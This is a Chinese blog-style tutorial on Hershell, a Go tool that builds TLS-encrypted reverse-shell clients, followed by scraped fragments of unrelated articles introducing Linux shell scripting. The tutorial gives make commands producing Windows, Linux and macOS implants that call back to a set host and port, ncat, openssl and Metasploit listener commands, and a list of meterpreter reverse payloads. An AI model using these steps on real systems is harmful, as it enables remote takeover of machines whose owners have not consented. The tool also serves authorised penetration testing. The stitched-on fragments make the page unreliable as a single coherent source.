[Shell] Hershell 使用介绍

0x01 简介

Hershell 是一款 go 语言编写的多平台反向 shell 生成器,使用 tls 加密流量,并提供证书公钥指纹固定功能,防止流量拦截。

0x02 安装及配置

因为是第一次接触go,相应不同环境请自行摸索:

Linux:

apt-get install golang

cd /home/admin/

git clone https://github.com/lesnuages/hershell.git

mkdir go

export GOPATH=/home/admin/go/
go get github.com/lesnuages/hershell

export PATH=$PATH:/home/admin/go/bin

0x03 操作使用

1.生成证书

make depends

以 windows 为例,生成一个客户端,其他平台同理:

make windows64 LHOST=192.168.1.125 LPORT=1234
$ ls
hershell.exe hershell.go Makefile README.md Dockerfile server.pem  LICENSE meterpreter server.key shell

可生成多平台的客户端:

For windows:

# Predifined 32 bit target
$ make windows32 LHOST=192.168.1.125 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.1.125 LPORT=1234

For Linux:

# Predifined 32 bit target
$ make linux32 LHOST=192.168.1.125 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.1.125 LPORT=1234

For Mac OS X

$ make macos LHOST=192.168.1.125 LPORT=1234

2.开启监听

可以使用如下程序监听:

#socat

#ncat
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234

#openssl server module
$ openssl s_server -cert server.pem -key server.key -accept 1234

#metasploit multi handler (with a python/shell_reverse_tcp_ssl payload)
$ use exploit/multi/handler
$ set HandlerSSLCert ./server.pem
$ exploit -j

[hershell]> meterpreter https 192.168.1.125:8443

msf可支持的有效payload为(仅windows平台):

windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

3.运行客户端

#cmd
$ hershell.exe

#bash
$ ./hershell.go

0x04 参考链接

https://github.com/sysdream/hershell
https://github.com/sysdream/hershell/issues/2

原文地址:https://www.cnblogs.com/-mo-/p/12238063.html

时间: 2024-11-02 22:10:08

[Shell] Hershell 使用介绍的相关文章

shell的详细介绍和编程(上)

shell介绍 shell是一个编程语言解释器,这个解释器解释从键盘输入的命令,也解释存储在脚本中的命令序列,shell脚本是一个包含一系列命令的文件,运行一个脚本就是运行这个文件中的每个命令.可以用一个shell脚本在一次请求中来执行多个命令.shell脚本的执行:shell解释程序会fork+exec执行这个脚本命令,在exec调用中,内核会检查脚本的第一行(如:#!/bin/bash)找到来执行脚本的解释程序,然后装入这个解释程序,由它来解释执行脚本 shell的执行 可以直接chmod

shell语法简单介绍

一.基本的语法 1.1.shell文件开头 shell文件必须以以下的行開始(必须方在文件的第一行): #!/bin/sh 符号#!用来告诉系统它后面的參数是用来运行该文件的程序.在这个样例中我们使用/bin/sh来运行程序. 当编辑好脚本时,假设要运行该脚本,还必须使其可运行. 要使脚本可运行: 执行chmod +x filename 这样才干用./filename 来执行 1.2 凝视 在进行shell编程时,以#开头的句子表示凝视,直到这一行的结束.我们真诚地建议您在程序中使用凝视. 假设

shell的初步介绍

linux下Shell介绍 概述:每个人在成功登陆LIUX后,系统会出现不同的提示符号,例如$,~,#等,然后你就可以开始输入你需要的命令,若是命令正确,系统就会一句命令的要求来执行,知道注销系统位置,在登陆到注销期间,输入的每个命令都会经过解析及执行.而这个负责的机制就是shell 其实作为命令语言互动式解释和执行用户输入的命令指示Shell功能的一个方面,Shell还可以用来进行程序设计,它提供了定义变量和参数的手段以及丰富的程序控制结构.使用Shell变成类似于DOS中的批处理文件,称为S

Linux Shell种类简单介绍

Shell其实是一个有特殊功能的程序,主要是提供用户与内核交互操作的一个接口.它的位置介于用户界面和内核之间,工作流程是接收用户输入的命令并且进行解释(转换为计算机可以理解的机械码),然后将命令送入内核去执行.我们一般通过ssh远程登录系统并且打开shell,也有一些是直接在图形界面上直接打开终端的方式打开shell.后者主要用于ubuntu系统中. 这里主要介绍目前较为流行或者历史上存在的一些shell的种类,目前流行的shell有ash.bash.ksh.csh.zsh等,不同的shell都

shell的详细介绍和编程(中)

Shell 循环语句.条件判断的使用方法及其相关示例 bash脚本条件判断语句使用: test语句的使用说明 if判断语句的使用 case判断语句的应用 条件测试:test 说明介绍:shell中的test命令用于检查某个条件是否成立,它可以进行数值.字符和文件三个方面的测试. test的使用语法 : test EXPRESSION 或者  [ EXPRESSION ]:[[ EXPRESSION ]] 整数测试:隐含着做数值大小比较,所以不要给变量引用加引用: $A -gt $B:是否大于:是

linux之shell常用命令介绍

一.cd    切换目录 cd /etc  切换到/etc目录下              cd ~       切换到主目录下 cd  ..      返回上级目录                     cd ../..  返回上两级目录 cd  -       返回进入此目录之前所在的目录 二.echo    输出 echo "this is a test!"        显示普通字符串: echo -e "\n"         输出一行空行,-e 开启转

shell - 0.简单介绍

Shell-0.介绍1.在那些环境用会用到shell脚本    ·应用环境:执行某些命令需要多项复杂的参数            需要多条命令对系统进行状态查看和维护管理                定期进行数据库的备份            根据特定条件监控系统重要进程和日志            每周对主要系统进行一次巡检            对重要网络设备的配置文件进行安全分析,并给出相应的分析报告            对网络中的设备进行探测,采集相关资产信息,并录入资产信息表 例如

Shell基础:介绍、历史命令、命令不全和别名、通配符、输入输入重定向、管道发和作业控制

         Shell的介绍     zsh.ksh(yum list |grep zsh 进行查看,然后可以相应的进行安装)                            命令历史 1. /root/.bash_history  (此文件存放着我们敲过的命令) 2. history (可以查看到我们之前使用过的命令有多少条.最大可以存1000条) 使用环境变量可以查看到存放了多少条命令 echo $HISTSIZE  3. history -c 此命令是清除内存中我们敲过的缓存命

Shell脚本心得.介绍和总结

shell的历史 shell概况 人想要和操作系统进行交互,传送指令给操作系统,就需要使用到shell.宏义的shell是人与机器交互的页面,它分为两种,一种是有界面的,比如GUI,另外一种是没有界面的,完全是指令操作的(CLI).我们一般说的shell指的就是命令行界面. Bourne shell 最早Ken Thompson设计Unix的时候,使用的是命令解释器,命令解释器接受用户的命令,然后解释他们并执行. 后来出现了Bourne shell(通称为sh),顾名思义,就是一个叫Bourne